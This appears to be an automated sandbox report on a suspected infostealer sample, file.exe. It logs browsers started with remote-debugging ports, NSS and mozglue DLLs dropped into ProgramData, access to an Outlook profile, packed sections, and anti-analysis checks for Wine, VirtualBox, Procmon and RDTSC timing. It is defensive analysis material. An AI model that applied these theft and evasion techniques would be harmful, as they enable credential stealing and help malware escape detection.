Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7196 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2564,i,11894809263418386621,12068605829373464849,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2232,i,15510336952226513588,6990982743633393472,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5396 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7112 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7416 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7416 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7196 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2158080 > 1048576

Source: file.exe

Static PE information: Raw size of jynqsoyt is bigger than: 0x100000 < 0x1a3e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2171006516.000000000585B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657968965.000000006CCC1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2171006516.000000000585B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657968965.000000006CCC1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.df0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jynqsoyt:EW;pvsqsruk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jynqsoyt:EW;pvsqsruk:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C9C3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x213953 should be: 0x21e069

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jynqsoyt
Source: file.exe	Static PE information: section name: pvsqsruk
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9FB536 push ecx; ret

0_2_6C9FB549

Source: file.exe

Static PE information: section name: jynqsoyt entropy: 7.9537048191150905

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CA255F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDAE4 second address: 10DDAEE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1251A0D second address: 1251A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 ja 00007FD2B84F6BFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1251A1E second address: 1251A23 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1251A23 second address: 1251A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126061C second address: 1260620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260620 second address: 1260657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B84F6C04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FD2B84F6C09h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260657 second address: 126065B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260AB3 second address: 1260ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FD2B84F6C03h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260ACB second address: 1260AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260AD1 second address: 1260AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260C65 second address: 1260C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007FD2B8DCB2D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12640B5 second address: 12640B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12640B9 second address: 12640C7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12640C7 second address: 1264123 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2B84F6BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 7E590BE5h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FD2B84F6BF8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c movzx ecx, si 0x0000002f lea ebx, dword ptr [ebp+12459E67h] 0x00000035 push ecx 0x00000036 jns 00007FD2B84F6C04h 0x0000003c pop edi 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jp 00007FD2B84F6BFCh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12642C5 second address: 1264332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FD2B8DCB2D8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 jns 00007FD2B8DCB2DCh 0x00000029 lea ebx, dword ptr [ebp+12459E70h] 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007FD2B8DCB2D8h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 mov edx, 15C06A01h 0x0000004e xchg eax, ebx 0x0000004f jo 00007FD2B8DCB2E8h 0x00000055 push eax 0x00000056 push edx 0x00000057 jl 00007FD2B8DCB2D6h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264332 second address: 1264336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264336 second address: 1264342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264342 second address: 1264346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264346 second address: 1264354 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FD2B8DCB2D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12643D3 second address: 1264422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], eax 0x00000008 mov di, 7593h 0x0000000c sbb si, 3A6Ch 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FD2B84F6BF8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov edx, dword ptr [ebp+122D398Eh] 0x00000033 call 00007FD2B84F6BF9h 0x00000038 jbe 00007FD2B84F6C11h 0x0000003e push eax 0x0000003f push edx 0x00000040 jne 00007FD2B84F6BF6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264422 second address: 1264466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f jmp 00007FD2B8DCB2E4h 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007FD2B8DCB2DCh 0x0000001e mov eax, dword ptr [eax] 0x00000020 push edi 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A2B second address: 1275A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A31 second address: 1275A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FD2B8DCB2D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A3B second address: 1275A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
